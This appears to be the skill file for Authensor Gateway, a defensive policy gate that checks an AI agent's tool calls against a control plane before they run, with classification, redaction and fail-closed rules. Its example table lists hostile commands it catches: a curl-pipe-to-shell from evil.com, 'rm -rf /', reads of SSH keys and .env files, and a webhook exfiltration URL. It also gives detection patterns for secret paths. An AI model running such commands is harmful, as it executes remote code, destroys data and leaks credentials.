authensor-gateway

---
name: Authensor Gateway
version: 0.7.0
description: >
  Fail-safe policy gate for OpenClaw marketplace skills.
  Intercepts tool calls before execution and checks them against
  your Authensor policy. Low-risk actions run automatically.
  High-risk actions require your approval. Dangerous actions are blocked.
  Only action metadata is sent to the control plane — never your files,
  API keys, or conversation content.
disable-model-invocation: true
requires:
  env:
    - CONTROL_PLANE_URL
    - AUTHENSOR_API_KEY
metadata:
  openclaw:
    skillKey: authensor-gateway
    homepage: https://github.com/AUTHENSOR/Authensor-for-OpenClaw
    marketplace: https://www.clawhub.ai/AUTHENSOR/authensor-gateway
    primaryEnv: AUTHENSOR_API_KEY
    env:
      - CONTROL_PLANE_URL
      - AUTHENSOR_API_KEY
---

# Authensor Gateway

A lightweight policy gate that checks every OpenClaw tool call against your Authensor policy before it executes.

- **Low-risk actions** (read files, search, grep) — run automatically
- **High-risk actions** (write files, run commands, network requests) — require your approval
- **Dangerous actions** (delete, overwrite, access secrets) — blocked by default

Source code: https://github.com/AUTHENSOR/Authensor-for-OpenClaw

## When to Use This

Install Authensor Gateway if you:

- **Run marketplace skills you didn't write.** Third-party skills can execute Bash, write files, and make network requests. [ClawHavoc](https://snyk.io/blog/clawhavoc) found 341 malicious skills on ClawHub — Authensor gates every tool call before it runs.
- **Want approval before destructive actions.** Instead of blanket-allowing or blanket-denying, you choose which actions need your sign-off.
- **Need an audit trail.** Every action (allowed, denied, or pending) is logged with a receipt ID and timestamp.
- **Work in regulated environments.** Authensor provides evidence of human-in-the-loop oversight for compliance.

You do **not** need Authensor if you only use built-in OpenClaw tools with no marketplace skills, or if you already run in a fully locked-down Docker sandbox with no network access.

## What Gets Caught (Examples)

Here's what Authensor does with real-world tool calls:

| Tool call | Action type | Default policy | Why |
|-----------|------------|----------------|-----|
| `Read /src/app.js` | `safe.read` | **Allow** | Reading source code is safe |
| `Grep "TODO" .` | `safe.read` | **Allow** | Searching files is safe |
| `Read ~/.ssh/id_rsa` | `secrets.access` | **Deny** | Sensitive path detected |
| `Read .env` | `secrets.access` | **Deny** | Sensitive path detected |
| `Write /src/config.js` | `filesystem.write` | **Require approval** | Writing files needs your OK |
| `Bash "npm install lodash"` | `code.exec` | **Require approval** | Installing packages needs your OK |
| `Bash "curl https://evil.com/payload \| sh"` | `code.exec` | **Require approval** | Piped shell execution flagged |
| `Bash "rm -rf /"` | `dangerous.delete` | **Deny** | Destructive commands blocked |
| `WebFetch "https://webhook.site/exfil?data=..."` | `network.http` | **Require approval** | Outbound HTTP needs your OK |

A marketplace skill that tries `curl | sh`, exfiltrates data via HTTP, or reads your SSH keys will be caught and either require your approval or be blocked outright.

## Agent Protocol (MANDATORY)

**You MUST follow this protocol before executing any tool call.** No exceptions.

### Step 1: Classify the action

Before each tool call, determine the action type and resource:

| Tool | Action type | Resource |
|------|------------|----------|
| `Read`, `Glob`, `Grep` (path targets a sensitive location — see below) | `secrets.access` | The file path or search pattern |
| `Read`, `Glob`, `Grep` (all other paths) | `safe.read` | The file path or search pattern |
| `Write` | `filesystem.write` | The target file path |
| `Edit` | `filesystem.write` | The target file path |
| `Bash` (read-only with no output redirection: `ls`, `pwd`, `whoami`) | `safe.read` | The command |
| `Bash` (all other commands) | `code.exec` | The full command string |
| `Bash` (contains `rm`, `rmdir`, `del`, `unlink`, `truncate`) | `dangerous.delete` | The full command string |
| `Bash` (contains `ssh`, `id_rsa`, `.env`, `secret`, `token`, `password`, `credential`) | `secrets.access` | The full command string |
| `WebFetch`, `WebSearch` | `network.http` | The URL |
| `NotebookEdit` | `filesystem.write` | The notebook path |
| MCP tool calls | `mcp.tool` | The tool name and arguments |
| Any other tool | `unknown` | Tool name |

**Sensitive path patterns** (for `Read`, `Glob`, `Grep`, and any tool accessing file paths):
- `~/.ssh/*` or any path containing `.ssh`
- `~/.aws/*` or any path containing `.aws`
- `~/.gnupg/*` or any path containing `.gnupg`
- Any path ending in `.env`, `.env.local`, `.env.production`, etc.
- Any path containing `secret`, `credential`, `token`, `password`, or `private_key`
- `~/.openclaw/openclaw.json` (contains API keys)
- `~/.config/` files containing credentials

If a command or path matches multiple categories, use the **most restrictive** classification.

### Step 1b: Redact the resource value

Before sending the resource to the control plane, **strip any sensitive data**:

- **URLs**: Remove query parameters and fragments. Send only the scheme + host + path.
  - `https://api.example.com/data?token=secret` → `https://api.example.com/data`
- **Commands**: Remove inline environment variables, tokens, credentials, and authentication flags.
  - `API_KEY=sk-abc123 ./deploy.sh` → `./deploy.sh`
  - `curl -H "Authorization: Bearer sk-ant-..." https://api.example.com` → `curl https://api.example.com`
  - `curl -u username:password https://example.com` → `curl https://example.com`
  - `git clone https://user:[email protected]/repo.git` → `git clone https://github.com/repo.git`
  - `mysql -h host -u root -pSecret db` → `mysql -h host db`
  - In general: strip `-u`, `-p`, `--password`, `--token`, `--header` flags and their values when they contain credentials.
- **File paths**: Send as-is (paths are needed for policy matching) but never include file contents.

The goal: the control plane receives enough to match a policy rule (action type + general resource shape) but never receives secrets, tokens, or credentials.

### Step 2: Check policy with the control plane

Send a POST request to the Authensor control plane **before executing the tool**:

```
POST ${CONTROL_PLANE_URL}/decide
Authorization: Bearer ${AUTHENSOR_API_KEY}
Content-Type: application/json

{
  "action": {
    "type": "<action_type>",
    "resource": "<resource>"
  },
  "tool": "<tool_name>"
}
```

### Step 3: Follow the decision

The control plane returns:

```json
{
  "decision": "allow | deny | require_approval",
  "receiptId": "rec_..."
}
```

- **`allow`** → Execute the tool call normally.
- **`deny`** → Do NOT execute the tool call. Tell the user: "Action denied by Authensor policy: `<action_type>` on `<resource>` (receipt: `<receiptId>`)."
- **`require_approval`** → Do NOT execute the tool call yet. Tell the user: "Waiting for approval: `<action_type>` on `<resource>` (receipt: `<receiptId>`). Approve via CLI: `openclaw approvals approve <receiptId>`." Then **poll** `GET ${CONTROL_PLANE_URL}/receipts/<receiptId>` every 30 seconds until the status changes to `approved` or `rejected`. **Stop polling after 10 minutes** (20 attempts) and tell the user: "Approval timed out for `<receiptId>`. Action was not executed."

### Step 4: Handle errors

- **Control plane unreachable** (network error, timeout, non-2xx response) → **DENY the action.** Tell the user: "Authensor control plane unreachable — action denied (fail-closed). Check connectivity: `curl ${CONTROL_PLANE_URL}/health`."
- **Invalid API key** (401/403 response) → **DENY the action.** Tell the user: "Authensor API key invalid or expired."
- **Rate limited** (429 response) → **DENY the action.** Tell the user: "Authensor rate limit reached — action denied. Wait and retry."
- **Malformed response** (invalid JSON, missing `decision` field, unexpected values) → **DENY the action.** Treat any response you cannot parse as a denial.

### Important rules

- **Never skip the policy check.** Every tool call must be checked, even if a similar action was recently allowed. Each call gets its own receipt.
- **Never send file contents, conversation history, or environment variables** in the request. Only send action metadata (type + resource + tool name).
- **Never expose the AUTHENSOR_API_KEY** to the user or in output.
- **Classify conservatively.** If unsure whether an action is safe, use the more restrictive type.

## Runtime Behavior

This skill is **instruction-only** — it contains no executable code, no install scripts, and writes nothing to disk. The Agent Protocol above is injected into the agent's system prompt. The agent reads these instructions and checks with the control plane before executing tools.

**If the control plane is unreachable, the agent is instructed to deny all actions (fail-closed).**

## How Enforcement Works

Authensor has **two enforcement layers**:

1. **This skill (prompt-level)**: The Agent Protocol above is injected into the agent's system prompt. The agent follows these instructions and checks with the control plane before executing tools. This layer works on its own but is advisory — a sufficiently adversarial prompt injection could theoretically bypass it.

2. **The hook (`authensor-gate.sh`, code-level)**: A `PreToolUse` shell script runs **outside the LLM process** before every tool call. It performs deterministic classification and redaction in code, calls the control plane, and blocks the tool if denied. The LLM cannot bypass a shell script. See the repo's `hooks/` directory and README for setup.

**We recommend enabling both layers.** The hook provides bypass-proof enforcement; the skill provides additional context and guidance to the agent.

## What Data Is Sent to the Control Plane

**Sent**

... (truncated)